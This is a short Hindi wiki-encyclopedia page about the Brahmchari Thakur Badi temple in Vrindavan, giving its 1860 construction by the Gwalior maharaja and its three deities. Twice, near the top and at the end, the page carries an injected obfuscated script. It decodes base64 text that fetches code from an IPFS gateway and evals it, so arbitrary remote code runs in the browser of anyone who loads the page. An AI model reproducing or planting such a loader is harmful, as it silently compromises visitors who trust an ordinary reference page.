ब्रह्मचारी ठाकुर बाड़ी

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Maintenance (चर्चा | योगदान) द्वारा परिवर्तित ११:१२, ५ जुलाई २०१० का अवतरण (Text replace - '{{Vrindavan temple}}' to '==सम्बंधित लिंक== {{ब्रज के दर्शनीय स्थल}}')
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ब्रह्मचारी ठाकुर बाड़ी / Thakur Badi Of Brahmchari

  • ग्वालियर के महाराज जिया जी सिंधिया ने 1860 ई॰ में इस भव्य मन्दिर का निर्माण किया था।
  • उन्होंने अपने गुरु श्रीगिरिधारीदास ब्रह्मचारी जी को सेवा का भार अर्पण कर दिया था।
  • इस मन्दिर में श्रीराधागोपाल, हंसगोपाल तथा नित्यगोपाल-तीन विग्रह पृथक्-पृथक् प्रकोष्ठों में विराजमान हैं।
  • पत्थरों से निर्मित यह भव्य मन्दिर दर्शन योग्य है।
  • यह मन्दिर लालाबाबू मन्दिर के पास ही है।



सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>